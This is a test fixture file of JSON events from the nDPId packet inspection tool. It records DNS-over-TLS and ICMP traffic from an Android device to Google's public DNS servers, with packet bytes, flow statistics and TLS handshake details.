+00438{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":51146,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA00uFAAEAGmY\/AqAGfCAgEBLuwA1WtLB4BfeARF4AQAVfLywAAAQEICv\/\/zOS0eUC+"} +00649{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":51495,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADO0uJAAEAGmPTAqAGfCAgEBLuwA1WtLB4BfeARF4AYAVfZbQAAAQEICv\/\/zOS0eUC+FgMBAJUBAACRAwNJCyrg3LiPOkzp25J1tFPL9Xy02QHRBJvQzPxg67QKYwAAHsArwC\/ALMAwzKnMqMAJwBPACsAUAJwAnQAvADUACgEAAEoAAAAPAA0AAApkbnMuZ29vZ2xlABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1592552826036,"flow_last_seen":1592552826051,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":32,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48048,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00437{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":64156,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0wIMAAHcGtO0ICAQEwKgBnwNVu7B94BEXrSwem4AQAPDLiQAAAQEICrR5QM3\/\/8zk"} +02347{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":80321,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+wIgAAHcGr14ICAQEwKgBnwNVu7B94BEXrSwem4AQAPAKFgAAAQEICrR5QN3\/\/8zkFgMDAD8CAAA7AwNe7G16wqMnCBI7o10QL4Qs2RPVUByrn0FET1dOR1JEAQDALwAAEwAXAAD\/AQABAAALAAIBAAAjAAAWAwMKgAsACnwACnkABiUwggYhMIIFCaADAgECAhAvmt6tSZ\/54QIAAAAAayAjMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwHhcNMjAwNTI2MTUyMDAyWhcNMjAwODE4MTUyMDAyWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UEChMKR29vZ2xlIExMQzETMBEGA1UEAxMKZG5zLmdvb2dsZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOSUeQONctZz3uIqdtC8TGzE8AMaYsmZY88YVzUreJdL\/0dCZYsl1UYc2OvENRHpKfNCZpRv3xMOZvi3kh0QIb5zzddzOkkBUd2hU7s3ZwZK+HaanofZZUCn6DHRVW+tAvbhDsfNhYq7nC6j\/GNW5VGjRotNORp5ATy1MpfZF93XgmaHNixqtpC\/0gM5Gwth6D+1fVJsvBEgZyIPBayP3lOd1yAvzdIkSpwWaZ+TKW+85OK4yyy7S2o1vCDDK3Zq6\/jUumhBP5SJmDA5tr4dukkEoqVyhPnxGcB4hDmwyVDU2U8rmqCGQULfKb12DBmiiJOYbm5pqVj1JBv0+p3j1E0CAwEAAaOCAu8wggLrMA4GA1UdDwEB\/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSFRNGvRXRy0wAb7J2sKkmYhLWe3zAfBgNVHSMEGDAWgBSY0fhuEOvPm+xgnxiQG6DrfQn9KzBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAGGH2h0dHA6Ly9vY3NwLnBraS5nb29nL2d0czFvMWNvcmUwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwgawGA1UdEQSBpDCBoYIKZG5zLmdvb2dsZYIQKi5kbnMuZ29vZ2xlLmNvbYILODg4OC5nb29nbGWCDmRucy5nb29nbGUuY29tghBkbnM2NC5kbnMuZ29vZ2xlhxAgAUhgSGAAAAAAAAAAAABkhxAgAUhgSGAAAAAAAAAAAGRkhxAgAUhgSGAAAAAAAAAAAIhEhxAgAUhgSGAAAAAAAAAAAIiIhwQICAQEhwQICAgIMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzFjb3JlLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AAe3XBvlfWj\/8bDGHSMVx7rmV3xXlLdq7rxhOhpp06IcAAABclHIpS8AAAQDAEcwRQIhAL8PRht0GjLwxvKgvt3ME7Lvn501gSRHUbzJgY3HddfrAiBITPBWXKB\/EsGN\/qthElwjtyifjXyQCtZL82ZOsBNAqgB1AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABclHIo2oAAAQDAEYwRAIgW3oiEOXHmxVJukyPKedbFKLAHU+NWNHGdGVRZy3Vv9QCIBZ565g8plNNkx9OSGvGcmllJquFv0Vpmmf0ZrIkVQCpMA0GCSqGSIb3DQEBCwUAA4IBAQBP8NFNA2o7BvU4C0BZ\/YuA2G4="} +00816{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":52,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1592552826036,"flow_last_seen":1592552826080,"flow_tot_l4_data_len":1780,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":296,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48048,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02354{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":81468,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+wIkAAHcGr10ICAQEwKgBnwNVu7B94BahrSwem4AQAPAopQAAAQEICrR5QN3\/\/8zkBWU\/U1SwWFqB51XKOk\/9gYc9EfnV8DMmwcygUgaToHLYUMwUZiFSJ1LqRJEm3oknKcmGpn6E+8rpojBhPvTewD8kzc3KtWn0xIyDeDz+Z1J8g\/uv+o2If+iKyGWYGf4RT\/KFSb\/lYkCgp373jBd81x2dBToH41zJgQMiTcRji8A4I0eyWkRpuReYMwBKatDuD2J7yUI9b+O06es4KhBC9a+DKwwGcm20clrv8FMBPBA3oxgf2d7Tp3YHw5XBW1+9IPzq88tSTj+WKJs15ATWPHPRFsSXyMFQZgstMB5d3dOB2ANmme6AIIj99uss4gAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SDGHC3v0RhhZecjgyCoIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMBLAwAASgDAB0gQMZqc6gvwDfUHBB\/NhZ917SiHzfCAFxuKLUdjAFRuXsIBAEAkoRtBukMYTri6pWxn5QcneJrzssFHv3z65o="} +01118{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":53,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":7,"flow_first_seen":1592552826036,"flow_last_seen":1592552826081,"flow_tot_l4_data_len":3230,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":461,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48048,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","server_names":"dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google","fingerprint":"5B:59:09:FC:7D:50:E6:F7:D1:08:8E:57:42:A2:D8:AE:1F:03:FF:EC"}} +00765{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":81567,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAEjwIoAAHcGs\/cICAQEwKgBnwNVu7B94BwrrSwem4AYAPCFQAAAAQEICrR5QN3\/\/8zkFbaAdPgn9Xj8uyFqLPU+JTr6qBW1nG\/d2+KaEzIAXr6bjwYGXTiSp9ZvYPJb0OMzDZ2LBvK5xtDjG9GZOwNAks+89\/1CY78nKowg8GyRuecrOeqGDGQvNOKgdru0Frfgcj0D+HgdCjduRsmDboc4wkUAUeA+P3UBRQrsAr0gqIBmX3YfhA4NCQ4oZ7qnMb90HCJIr9jquCRjaAZTFW514qhB7sAyEoBR2cESB\/AXpCIgC947j6aaut4nYMLpv4jcNBeY3vyfH4oyO8xlKFbmUcH4xaQ7j\/RxMzwjYKkQy6bUBpkzrOwWAwMABA4AAAA="} +00437{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":82584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA00uNAAEAGmY3AqAGfCAgEBLuwA1WtLB6bfeAWoYAQAWLFdQAAAQEICv\/\/zOy0eUDd"} +00439{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":83623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA00uRAAEAGmYzAqAGfCAgEBLuwA1WtLB6bfeAcK4AQAW2\/4AAAAQEICv\/\/zOy0eUDd"} +00438{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":84135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA00uVAAEAGmYvAqAGfCAgEBLuwA1WtLB6bfeAdGoAQAW2+8QAAAQEICv\/\/zOy0eUDd"} +00565{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":96652,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACR0uZAAEAGmS3AqAGfCAgEBLuwA1WtLB6bfeAdGoAYAW3zyQAAAQEICv\/\/zO+0eUDdFgMDACUQAAAhIFnfRGROSEcuZEqTogskzo6vAaCrvjhKwzw4GYUFaUR2FAMDAAEBFgMDACgAAAAAAAAAALyUqjC41+IdP9iflwsKIsFu1ccuts39lMpC63Dha1SY"} +00843{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":110169,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAFYwJoAAHcGs7IICAQEwKgBnwNVu7B94B0arSwe+IAYAPAmkAAAAQEICrR5QPr\/\/8zvFgMDAOwEAADoAAGJwADiARwM3mDSTy2KnFOJMzn7stzGYyX+ErxweKZvMWA+DHe7GLRnLRUybuHfiV5knTQIjhK\/GK5IIqvLNAmTKNvSo0hv8h0ulRB0aqm8FwgEpkVHHcM6UG5TzNCQ9KdT\/k7UNWuK7swRz9Yvi+k8q96rcEJr\/LXENmBb2UY8tY9l2xJKbBYA9tKwIPIBAerEXFDAPYWZdKDd5Q1S\/gPO223uC0X1er\/jYr9tA39W1m4B\/\/vKp4wt45p5c\/xW9Tg39T7eLvvvPWnCGQRfWtPx5seY9+CMB7cDPpL3T3JV2Fpgho3ydhQDAwABARYDAwAoAAAAAAAAAAD2JH2Q10f36N6vGuWc\/hRIObvPakpcECw6NEiyoMaKGQ=="} +00656{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":133510,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADT0udAAEAGmOrAqAGfCAgEBLuwA1WtLB74feAePoAYAXjEgAAAAQEICv\/\/zPi0eUD6FwMDAJoAAAAAAAAAAZU7gg7NoNkCljO87amzN8ZbwElHFFpBRBaS4YZEbG6wHlJJJy4r8Ue3TaR5758jmsQsX31xCOSQ2ljUNCXsQBacf6J3EKnJgTy2WHiwgALMUvuZHgC8vLdpcuMquLezmJNo4BIdDxxNZ+icbjMKG6rBDyR+mI+\/QZALJ7f0bEnGVtYC\/wPeVtPMH75SpiKmQHJv"} +00439{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":151385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0wLYAAHcGtLoICAQEwKgBnwNVu7B94B4+rSwfl4AQAPS89wAAAQEICrR5QST\/\/8z4"} +00438{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":207745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0hqoAAHcG6sIICAgIwKgBnwNV2jAOPHBKaWPSFIARAUTy8AAAAQEIChWqclH\/\/5Cw"} +00420{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":208808,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAAoAABAAEAGaHnAqAGfCAgICNowA1VpY9IUAAAAAFAEAADEiwAA"} +00449{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1592552827426,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552827,"pkt_ts_usec":426405,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2ag\/ahpuQCABFAABUl9BAAEAB0IHAqAGfCAgICAgA4JUAAgABem3sXgAAAADqxwcAAAAAABAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc="} +00485{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":81,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1592552827426,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","l4_proto":"icmp","ndpi": {"proto":"ICMP.Google","breed":"Unrated","category":"Network"}} +00480{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552827,"pkt_ts_usec":440141,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ag\/ahpuQEBMx8Tl2CABFoABUAAAAAHEBdrIICAgIwKgBnwAA6JUAAgABem3sXgAAAADqxwcAAAAAABAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc="} +00481{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552828,"pkt_ts_usec":402579,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2ag\/ahpuQCABFAABUl\/5AAEAB0FPAqAGfCAgICAgAgPEAAwABe23sXgAAAABJawcAAAAAABAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc="} +00480{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552828,"pkt_ts_usec":415412,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ag\/ahpuQEBMx8Tl2CABFoABUAAAAAHEBdrIICAgIwKgBnwAAiPEAAwABe23sXgAAAABJawcAAAAAABAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1592552871852,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.4.4","dst_ip":"192.168.1.159","src_port":853,"dst_port":47968,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552871,"pkt_ts_usec":852324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0V5sAAHYGHtYICAQEwKgBnwNVu2A7uJADhSLfzIARAX\/+2gAAAQEICuSDFST\/\/78G"} +00422{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552871,"pkt_ts_usec":941265,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAAoAABAAEAGbH3AqAGfCAgEBLtgA1WFIt\/MAAAAAFAEAAC96AAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":159,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1592552878549,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48098,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":549677,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA8PO5AAEAGL3vAqAGfCAgEBLviA1WhETzJAAAAAKAC\/\/\/ccgAAAgQFtAQCCAoAAAAnAAAAAAEDAwg="} +00449{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":562423,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA8nAYAAHYG2mIICAQEwKgBnwNVu+J3bBxFoRE8yqAS6yB6VAAAAgQFZAQCCAo7E6h3AAAAJwEDAwg="} +00437{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552878,"pkt_ts_usec":563796,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0PO9AAEAGL4LAqAGfCAgEBLviA1WhETzKd2wcRoAQAVeSlgAAAQEICgAAACw7E6h3"} 